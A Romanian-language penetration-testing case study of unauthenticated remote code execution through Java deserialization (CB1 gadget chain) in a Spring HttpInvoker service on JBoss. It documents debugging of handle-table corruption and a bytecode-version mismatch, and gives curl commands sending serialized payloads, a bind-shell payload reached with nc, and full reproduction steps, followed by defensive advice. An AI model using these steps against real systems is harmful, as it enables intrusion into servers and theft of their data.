De la bytes serializați la shell: exploatarea deserializării Java în Spring HttpInvoker
Exploatarea deserializării Java în Spring HttpInvoker
Studiu de caz din penetration testing — de Teodor Lupan
Rezumat
Acest articol documentează exploatarea unei vulnerabilități de deserializare nesecurizată, descoperită în cadrul unui test de penetrare autorizat al unei aplicații enterprise de management financiar (“DebtApp”). Aplicația folosește protocolul HttpInvoker din Spring Framework, care se bazează pe serializarea nativă Java pentru comunicarea client-server. Descriem parcursul complet, de la recunoașterea inițială până la obținerea unui shell interactiv pe serverul de producție, inclusiv obstacolele tehnice întâlnite și modul în care au fost depășite sistematic.
Procesul de exploatare a scos la iveală două provocări tehnice semnificative, insuficient documentate în literatura existentă despre exploatarea deserializării: (1) coruperea tabelei de handle-uri a serializării Java la încercarea de a construi manual fluxuri serializate compuse și (2) o incompatibilitate subtilă de versiune bytecode între runtime-ul Java al atacatorului și serverul țintă, care a cauzat eșecul silențios al payload-urilor de exploit. Detaliem cauzele principale și soluțiile pentru fiecare.
Exploitul final a obținut Remote Code Execution (RCE) neautentificat pe serverul țintă, demonstrând riscul critic pe care îl prezintă deserializarea Java în aplicațiile enterprise.
1. Introducere și prezentare generală a țintei
DebtApp este o platformă enterprise de colectare și management al creanțelor, implementată în rețeaua internă a unei instituții financiare. Aplicația urmează o arhitectură tradițională thick-client: o aplicație desktop Java Swing comunică cu un server de aplicații JBoss EAP 7.1 prin HTTP/HTTPS, folosind protocolul de remoting HttpInvoker din Spring Framework.
Protocolul HttpInvoker funcționează astfel: clientul construiește un obiect RemoteInvocation care conține numele metodei, tipurile parametrilor și argumentele pentru apelul de metodă dorit. Acest obiect este serializat folosind ObjectOutputStream nativ Java și trimis ca body al cererii HTTP. Serverul deserializează obiectul folosind ObjectInputStream, execută apelul de metodă și returnează rezultatul serializat.
Această arhitectură creează o suprafață de atac directă: dacă serverul deserializează obiectele primite fără filtrare, un atacator poate substitui un gadget chain malițios în locul argumentelor de metodă așteptate, obținând execuție arbitrară de cod în timpul procesului de deserializare — înainte ca orice logică de business sau verificare de autentificare să fie executată.
1.1 Arhitectura infrastructurii
Serverul țintă era accesibil prin două căi de rețea:
- Portul 4443 (HTTPS): reverse proxy Apache 2.4.62 cu forwarding către JBoss EAP
- Portul 8180 (HTTP): acces direct la JBoss EAP 7.1 (server web Undertow)
Serverul rula Red Hat Enterprise Linux 9.6 cu OpenJDK 1.8.0_432 (Java 8). Aplicația DebtApp era implementată ca fișier WAR pe JBoss EAP și expunea 253 de endpoint-uri de remoting Spring HttpInvoker la pattern-ul URL /CRSServicesWeb/remoting/<ServiceName>-httpinvoker.
2. Recunoaștere și analiza suprafeței de atac
2.1 Interceptarea traficului legitim
Folosind Burp Suite ca proxy de interceptare, am capturat traficul de rețea al thick client-ului în timpul operării normale. Acest lucru a dezvăluit câteva detalii critice:
- Toate cererile de remoting foloseau Content-Type:
text/plain(nuapplication/x-java-serialized-object, cum ne-am fi așteptat) - Body-ul HTTP începea cu bytes magici de serializare Java
0xACED0005, confirmând serializarea nativă Java - Erau prezente headere personalizate:
TITANIUM_REQUESTOR_HOSTNAMEșiUSER_LOGGING_FLAG - Serverul răspundea cu Content-Type:
application/x-java-serialized-object
2.2 Analiza binară a fluxului serializat
Am capturat un body de cerere serializat legitim (legit_body.bin) și i-am analizat structura. Fluxul conținea un obiect RemoteInvocation care împacheta numele metodei, tipurile parametrilor și un array Object[] de argumente. Argumentele conțineau obiecte Java standard (DTO-uri, stringuri etc.) așteptate de metoda serviciului țintă.
Observația cheie a fost că array-ul de argumente putea conține orice obiect Java serializabil — procesul de deserializare ar fi instanțiat orice clase se aflau în flux, indiferent dacă se potriveau cu semnătura de metodă așteptată. Verificarea de tip are loc abia după deserializare, când metoda este expediată.
2.3 Enumerarea classpath-ului
Analiza fișierelor JAR ale aplicației client a relevat următoarele biblioteci relevante pentru gadget chain pe classpath:
- commons-beanutils — furnizează BeanComparator (declanșatorul lanțului CB1)
- JDK intern:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(primitiva de încărcare bytecode) - Spring Framework core — furnizează RemoteInvocation și clasele asociate
Prezența commons-beanutils alături de clasa TemplatesImpl din JDK era suficientă pentru gadget chain-ul CommonsBeanutils1-NoCommonsCollections (CB1-NoCC), care nu necesită deloc commons-collections.
3. Primele încercări: eșecuri și piste false
3.1 Zidul erorilor 500
Primele noastre încercări de exploatare au folosit ysoserial pentru a genera payload-uri standard CommonsCollections7 (CC7), pe care le-am împachetat într-un plic binar RemoteInvocation și le-am trimis la endpoint-ul HTTPS pe portul 4443. Fiecare încercare a returnat HTTP 500 cu o pagină de eroare HTML generică de 510 bytes.
Am încercat apoi portul JBoss direct, 8180 — același rezultat. Am iterat prin mai multe tipuri de lanțuri (CC1 până la CC7, CB1, Spring1, Hibernate1), diferite endpoint-uri, diferite headere Content-Type, cu și fără headerele personalizate observate în traficul legitim. Toate au returnat aceeași eroare 500 de 510 bytes.
3.2 Headerul de server înșelător
O observație importantă din această fază a fost că pe portul 4443, răspunsurile cu eroare 500 aveau header Server: Apache, în timp ce cererile legitime returnau Server: JBoss-EAP/7. Am emis inițial ipoteza că reverse proxy-ul Apache acționa ca un Web Application Firewall (WAF), inspectând body-ul HTTP pentru nume de clase Java de exploit cunoscute (care apar în text clar în fluxurile serializate, de ex. "org.apache.commons.collections.functors.InvokerTransformer") și bloca cererile care se potriveau.
Această ipoteză părea plauzibilă — diferența de header de server era un semnal puternic. Cu toate acestea, așa cum am descoperit ulterior, aceasta era o pistă falsă. Cauza reală era complet diferită, iar diferența de header de server era pur și simplu comportamentul normal al reverse proxy-ului când backend-ul returnează o eroare 500.
3.3 Încercare: concatenare binară manuală
Abordarea noastră inițială pentru construirea payload-ului împachetat a fost concatenarea manuală a fragmentelor binare: un prefix legit_body.bin (conținând headerul RemoteInvocation și descriptorul array-ului Object[]), bytes brute de gadget payload ysoserial și un sufix (conținând numele metodei și tipurile parametrilor din cererea legitimă).
Aceasta a eșuat cu StreamCorruptedException la fiecare încercare. Motivul este fundamental pentru modul în care funcționează serializarea Java: formatul de serializare folosește o tabelă internă de handle-uri care atribuie referințe secvențiale întregi fiecărui descriptor de clasă și obiect din flux. Când inserezi bytes pre-serializate într-un flux diferit, referințele de handle din bytes-urile inserate indică spre obiectele greșite, corupând întregul flux.
Soluția a fost construirea întregului flux serializat într-o singură trecere: instanțierea programatică a obiectelor gadget chain în memorie, împachetarea lor într-un obiect RemoteInvocation și serializarea grafului complet de obiecte folosind ObjectOutputStream din Java. Acest instrument (WrapPayload.java, ulterior CustomPayload.java) a gestionat corect toate atribuirile de referințe handle.
4. Adevăratul obstacol: nepotrivirea de versiune bytecode
4.1 Diagnosticare progresivă
După rezolvarea problemei de construcție a fluxului, payload-urile erau sintactic valide dar returnau în continuare erori 500. Pentru a determina exact unde apărea eșecul, am construit un instrument de diagnostic progresiv (DiagChain.java) care genera payload-uri de complexitate crescătoare:
- Testul 1: PriorityQueue cu elemente String -> HTTP 200 (deserializarea reușește)
- Testul 2: BeanComparator de sine stătător -> HTTP 200
- Testul 3: PriorityQueue + BeanComparator (fără TemplatesImpl) -> HTTP 500 (ClassCastException la runtime — așteptat, confirmă execuția)
- Testul 4: TemplatesImpl cu bytecodes armate -> HTTP 200 (deserializat, neactivat)
- Testul 5: Lanțul complet CB1-NoCC -> HTTP 500 cu răspuns rapid (~0.04s)
Descoperirea critică: Testul 4 a reușit (TemplatesImpl a fost deserializat fără eroare), dar Testul 5 a eșuat. Diferența era că în Testul 5, BeanComparator a declanșat TemplatesImpl.getOutputProperties(), care a apelat defineClass() pe bytecodes-urile înglobate. Timpul rapid de răspuns indica faptul că defineClass() arunca o excepție imediat — fără să execute payload-ul.
4.2 Cauza principală: incompatibilitate de versiune bytecode JVM
Momentul decisiv a venit când am realizat că problema nu era în construcția gadget chain-ului, ci în bytecodes-urile înglobate în TemplatesImpl. Iată ce se întâmplă în timpul exploatării:
- La crearea payload-ului: Javassist generează o clasă (care extinde AbstractTranslet) conținând codul atacatorului într-un inițializator static. Această clasă este compilată în bytecodes.
- Aceste bytecodes sunt înglobate în obiectul TemplatesImpl și serializate în payload.
- La deserializare pe server:
TemplatesImpl.defineTransletClasses()apeleazăClassLoader.defineClass()pentru a încărca bytecodes-urile în JVM. defineClass()verifică versiunea fișierului de clasă înainte de a-l încărca.
Formatul fișierului de clasă Java include un număr de versiune majoră care indică ce versiune JVM a compilat clasa. Un JVM va refuza să încarce clase compilate pentru o versiune mai nouă. Corespondența versiunilor este:
| Versiune Java | Versiune majoră bytecode | Compatibil? |
|---|---|---|
| Java 8 | 52 | Da |
| Java 11 | 55 | Nu |
| Java 17 | 61 | Nu |
| Java 21 | 65 | Nu |
Mașina noastră de atac rula Java 21, deci Javassist genera bytecodes cu versiune majoră 65. Serverul țintă rula Java 8, care poate încărca doar clase cu versiune majoră 52 sau mai mică. Când TemplatesImpl.defineClass() a întâlnit bytecodes de versiune 65, a aruncat UnsupportedClassVersionError, care a fost prinsa și a rezultat în eroarea HTTP 500 — fără execuție de cod.
Un aspect crucial: folosirea flagurilor --add-opens pe Java 17/21 rezolvă restricțiile de acces la module pentru rularea ysoserial și Javassist, dar NU afectează versiunea bytecodes. Bytecodes-urile generate vor purta în continuare versiunea JVM-ului gazdă. Aceasta este o distincție subtilă dar critică care ne-a costat timp semnificativ de depanare.
4.3 Soluția: Java 8 pentru generarea payload-urilor
Soluția a fost directă odată ce cauza principală a fost identificată: instalarea Java 8 (Adoptium Temurin JDK 8u422-b05) pe mașina de atac și folosirea exclusivă pentru toți pașii de compilare și generare a payload-urilor:
# Install Java 8
tar xzf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
export J8=$(pwd)/jdk8u422-b05/bin/java
export JC8=$(pwd)/jdk8u422-b05/bin/javac
# Compile and generate payload with Java 8
$JC8 -cp .:ysoserial-all.jar CustomPayload.java
$J8 -cp .:ysoserial-all.jar CustomPayload SLEEP:10 payload_sleep10.bin
Cu Java 8, Javassist genera bytecodes cu versiune majoră 52 — compatibile cu serverul. Payload-ul a funcționat imediat.
5. Infirmarea ipotezei WAF
Cu problema versiunii bytecodes rezolvată, am putut testa definitiv dacă reverse proxy-ul Apache efectua vreo filtrare bazată pe conținut.
Am trimis payload-ul corectat (generat cu Java 8) pe ambele porturi:
- Portul 8180 (JBoss direct): HTTP 500, timp de răspuns 10.05s — RCE confirmat
- Portul 4443 (prin Apache): HTTP 500, timp de răspuns 10.05s — RCE confirmat
Ambele porturi au executat payload-ul cu succes. Nu exista niciun WAF. Reverse proxy-ul Apache pur și simplu redirecționa toate cererile către JBoss fără inspecție de conținut.
Headerul înșelător Server: Apache pe răspunsurile de eroare avea o explicație simplă: când JBoss returnează o eroare 500, reverse proxy-ul Apache înlocuiește body-ul răspunsului cu propria pagină de eroare generică. Acesta este un comportament standard de reverse proxy (ProxyErrorOverride sau configurație similară). Schimbarea headerului de la JBoss-EAP/7 la Apache era un artefact al acestei substituiri de pagină de eroare, nu o dovadă de blocare a cererilor.
Aceasta este o lecție importantă pentru penetration testeri: când observați headere Server diferite între cereri reușite și eșuate printr-un reverse proxy, nu presupuneți imediat filtrare de conținut. Explicația mai probabilă este că proxy-ul substituie propriul răspuns de eroare pentru erorile backend-ului. Verificați întotdeauna testând cu un payload despre care știți că ar trebui să funcționeze.
6. Exploatarea reușită
6.1 Confirmarea RCE bazată pe timp
Prima confirmare a execuției de cod a folosit Thread.sleep(10000L) înglobat în bytecodes-urile TemplatesImpl prin Javassist. Aceasta este o operație Java pură care cauzează o întârziere măsurabilă și neambiguă pe partea serverului:
$ curl -k -s -X POST -H 'Content-Type: text/plain' \
--data-binary @payload_sleep10.bin \
-w 'status=%{http_code} time=%{time_total}s\n' \
'http://TARGET:8180/CRSServicesWeb/remoting/\
ReferenceObjectService-httpinvoker'
status=500 time=10.053217s # <-- 10 second delay = RCE
Timpul de răspuns de 10.05 secunde (față de ~0.04s pentru payload-urile eșuate) a dovedit concluzonant că codul nostru se executa pe server. Statusul HTTP 500 este așteptat — apare deoarece expedierea metodei RemoteInvocation eșuează după ce gadget chain-ul se activează în timpul deserializării argumentelor.
6.2 Obținerea unui shell interactiv
După confirmarea RCE, pasul următor a fost obținerea unui shell interactiv pentru colectarea de dovezi suplimentare. Am construit un instrument separat, BindShell.java, care folosea Javassist pentru a îngoba cod de bind shell Python socket în bytecodes-urile TemplatesImpl:
# Generate bind shell payload on port 8181
$J8 -cp .:ysoserial-all.jar BindShell 8181 bindshell_8181.bin
# Terminal 1: Send payload
curl -k -s -X POST -H 'Content-Type: text/plain' \
--data-binary @bindshell_8181.bin -o /dev/null \
'http://TARGET:8180/CRSServicesWeb/remoting/\
ReferenceObjectService-httpinvoker'
# Terminal 2: Connect to bind shell
sleep 2 && rlwrap nc TARGET 8181
Bind shell-ul s-a conectat cu succes, oferind execuție interactivă completă de comenzi pe serverul țintă.
6.3 Dovezi colectate
Următoarele informații au fost colectate din shell-ul interactiv pentru a documenta compromiterea:
$ id
uid=5000(appuser) gid=5000(appuser) groups=5000(appuser)
$ hostname -f
app01srv
$ uname -a
Linux app01srv 5.14.0-503.38.1.el9_5.x86_64 [...] GNU/Linux
$ cat /etc/redhat-release
Red Hat Enterprise Linux release 9.6 (Plow)
$ java -version
openjdk version "1.8.0_432"
Shell-ul rula sub contul de serviciu al aplicației, cu acces la toate fișierele aplicației, configurația (inclusiv stringurile de conexiune și credențialele bazei de date) și sistemul de fișiere local.
7. Rezumatul provocărilor tehnice
Au fost întâlnite trei obstacole semnificative în timpul exploatării, în ordinea descoperirii:
Provocarea 1: Coruperea tabelei de handle-uri a serializării
Problema: Inserarea manuală a bytes de gadget generați de ysoserial într-un flux binar RemoteInvocation legitim a corupt tabela de handle-uri a serializării Java, producând StreamCorruptedException.
Cauza principală: Serializarea Java atribuie referințe handle secvențiale fiecărei clase și fiecărui obiect. Injectarea de bytes pre-serializate deplasează toate referințele ulterioare, corupând fluxul.
Soluția: Construirea grafului complet de obiecte (RemoteInvocation + gadget chain) în memorie și serializarea într-un singur apel ObjectOutputStream.writeObject(). Aceasta atribuie corect toate referințele handle.
Provocarea 2: Eșecuri atribuite greșit (ipoteza falsă a WAF-ului)
Problema: Payload-urile de exploit trimise prin reverse proxy-ul Apache (portul 4443) returnau HTTP 500 cu headere Server: Apache, în timp ce cererile legitime returnau Server: JBoss-EAP/7. Aceasta a dus la ipoteza că Apache rula mod_security sau reguli WAF similare care blocau nume de clase Java de exploit.
Cauza principală: Nu exista niciun WAF. Proxy-ul Apache redirecționa toate cererile către JBoss. Diferența de header Server apărea deoarece Apache servește propria pagină de eroare când backend-ul returnează o eroare 500 — comportament standard de reverse proxy. Eroarea 500 reală era cauzată de nepotrivirea versiunii bytecodes (Provocarea 3).
Rezolvare: Odată ce au fost folosite payload-uri corecte (bytecodes Java 8), atât portul 4443, cât și portul 8180 au reușit identic, dovedind că nu exista nicio filtrare de conținut pe niciuna din căi.
Provocarea 3: Incompatibilitate de versiune bytecode (blocajul real)
Problema: Toate payload-urile generate pe mașina de atac (Java 21) eșuau cu răspunsuri HTTP 500 imediate, în ciuda construcției corecte a fluxului și a gadget chain-urilor valide.
Cauza principală: Javassist generează bytecodes cu versiunea de fișier de clasă a JVM-ului gazdă. Java 21 produce bytecodes cu versiune 65, dar serverul țintă (Java 8) poate încărca doar versiune 52 sau mai mică. TemplatesImpl.defineClass() a respins bytecodes-urile cu UnsupportedClassVersionError.
Detaliu critic: Folosirea flagurilor --add-opens pe Java 17/21 rezolvă problemele de acces la module pentru rularea ysoserial, dar NU are niciun efect asupra versiunii bytecodes. Aceasta este o concepție greșită frecventă.
Soluția: Instalarea Java 8 pe mașina de atac și folosirea sa pentru toate operațiunile de compilare și generare de payload-uri. Runtime-ul Javassist din JDK 8 produce bytecodes de versiune 52, pe care serverul le acceptă.
8. Pași complecți de reproducere
Următorii sunt pașii minimi necesari pentru a reproduce exploitul de la zero pe o mașină Kali Linux (sau orice Linux) curată:
Pasul 1: Instalare Java 8
wget https://github.com/adoptium/temurin8-binaries/releases/download/\
jdk8u422-b05/OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
tar xzf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
export J8=$(pwd)/jdk8u422-b05/bin/java
export JC8=$(pwd)/jdk8u422-b05/bin/javac
Pasul 2: Descărcarea ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/\
ysoserial-all.jar
Pasul 3: Crearea clasei stub RemoteInvocation (vezi sursa în articol)
mkdir -p org/springframework/remoting/support/
# [create RemoteInvocation.java - minimal stub with setters]
$JC8 org/springframework/remoting/support/RemoteInvocation.java
Pasul 4: Crearea și compilarea CustomPayload.java (vezi sursa în articol)
# CustomPayload.java uses Javassist + TemplatesImpl + BeanComparator
# to build CB1-NoCC chain wrapped in RemoteInvocation
$JC8 -cp .:ysoserial-all.jar CustomPayload.java
Pasul 5: Generarea payload-ului RCE bazat pe timp
$J8 -cp .:ysoserial-all.jar CustomPayload SLEEP:10 payload_sleep10.bin
Pasul 6: Trimiterea și confirmarea RCE
curl -k -s -X POST -H 'Content-Type: text/plain' \
--data-binary @payload_sleep10.bin \
-w '\nstatus=%{http_code} time=%{time_total}s\n' \
'http://TARGET:8180/CRSServicesWeb/remoting/\
ReferenceObjectService-httpinvoker'
# If time ~= 10s: RCE confirmed
Pasul 7: Obținerea shell-ului interactiv
# Terminal 1:
$J8 -cp .:ysoserial-all.jar BindShell 8181 bindshell.bin
curl -k -s -X POST -H 'Content-Type: text/plain' \
--data-binary @bindshell.bin -o /dev/null \
'http://TARGET:8180/CRSServicesWeb/remoting/\
ReferenceObjectService-httpinvoker'
# Terminal 2:
sleep 2 && rlwrap nc TARGET 8181
9. Recomandări defensive
9.1 Pentru echipele de apărare
- Implementați filtrarea deserializării JEP 290 imediat. Configurați ObjectInputFilter pentru a permite doar clasele așteptate (RemoteInvocation, DTO-urile aplicației). Acest singur control ar fi blocat exploitul în totalitate.
- Impuneți autentificarea pe toate endpoint-urile de remoting. Natura pre-autentificare a acestui atac este aspectul său cel mai periculos.
- Restricționați accesul direct la portul serverului de aplicații. Portul 8180 ar trebui să fie accesibil doar reverse proxy-ului, nu rețelelor client.
- Migrați de la serializarea Java la protocoale bazate pe JSON/XML. Spring a depreciat oficial HttpInvoker tocmai din acest motiv.
- Auditați bibliotecile vulnerabile de gadget. commons-beanutils singur (fără commons-collections) a fost suficient pentru exploatare.
9.2 Pentru penetration testeri
- Potriviți întotdeauna versiunea Java cu cea a țintei. Nepotrivirea versiunii bytecodes cauzează eșecuri silențioase care arată identic cu payload-urile blocate.
- Nu presupuneți WAF pe baza schimbărilor de header Server. Reverse proxy-urile substituie în mod curent paginile de eroare.
- Folosiți payload-uri de diagnostic progresiv. Testați componentele individuale (PriorityQueue, BeanComparator, TemplatesImpl) înainte de lanțul complet, pentru a izola eșecurile.
- Preferați
Thread.sleep()pentru confirmarea inițială. Este Java pur (fără dependențe de SO), blocant (întârziere măsurabilă) și neambiguu. - Construiți fluxurile serializate programatic. Nu concatenați niciodată manual fragmente binare de serializare — coruperea tabelei de handle-uri este garantată.
- Folosiți JDK Java 8 pentru lucrul cu ysoserial/Javassist când vizați servere Java 8. Aceasta este o cerință obligatorie când lanțul folosește bytecodes TemplatesImpl.
10. Concluzii
Acest angajament a demonstrat că deserializarea nesecurizată Java rămâne un risc critic în aplicațiile enterprise, în special cele care folosesc protocoale de remoting legacy precum Spring HttpInvoker. Vulnerabilitatea nu a necesitat autentificare, nicio poziție specială în rețea și nicio cunoaștere din interior — doar acces de rețea la un port HTTP și instrumente disponibile public.
Aspectul cel mai instructiv al acestui angajament a fost procesul de depanare. Exploitul propriu-zis a durat sub o secundă, dar identificarea motivului pentru care eșua a necesitat analiză sistematică a mecanismelor interne ale serializării Java, specificațiilor formatului bytecodes și comportamentului reverse proxy-ului. Ipoteza falsă a WAF-ului a consumat timp și energie semnificative, în timp ce blocajul real (versiune bytecodes 65 vs. 52) avea o soluție extrem de simplă odată diagnosticat.
Pentru organizațiile care întrețin aplicații Java legacy cu remoting bazat pe serializare, mesajul este clar: migrați la formate de serializare sigure, implementați filtrarea JEP 290 ca măsură intermediară, asigurați-vă că porturile serverelor de aplicații nu sunt direct accesibile și impuneți autentificarea pe toate endpoint-urile de remoting. Oricare dintre aceste controale, singur, ar fi prevenit acest exploit.
Anexa A: Instrumente și resurse
- ysoserial — framework de exploatare a deserializării Java (https://github.com/frohoff/ysoserial)
- Javassist — bibliotecă de manipulare bytecodes Java (inclusă în ysoserial)
- Adoptium Temurin JDK 8 — https://adoptium.net/temurin/releases/?version=8
- JEP 290 — Filter Incoming Serialization Data (https://openjdk.org/jeps/290)
- CWE-502: Deserialization of Untrusted Data (https://cwe.mitre.org/data/definitions/502.html)
- OWASP Deserialization Cheat Sheet (https://cheatsheetseries.owasp.org/)
Anexa B: Divulgare
Această cercetare a fost realizată în cadrul unui angajament autorizat de penetration testing. Toate descoperirile au fost raportate proprietarului aplicației prin procesul standard de raportare a vulnerabilităților. Artefactele de exploit au fost transmise securizat și ulterior distruse după încheierea angajamentului.
Detaliile de identificare (numele aplicației, organizația client, hostname-uri, adrese IP și topologia rețelei) au fost anonimizate în această publicație pentru a preveni identificarea sistemului afectat.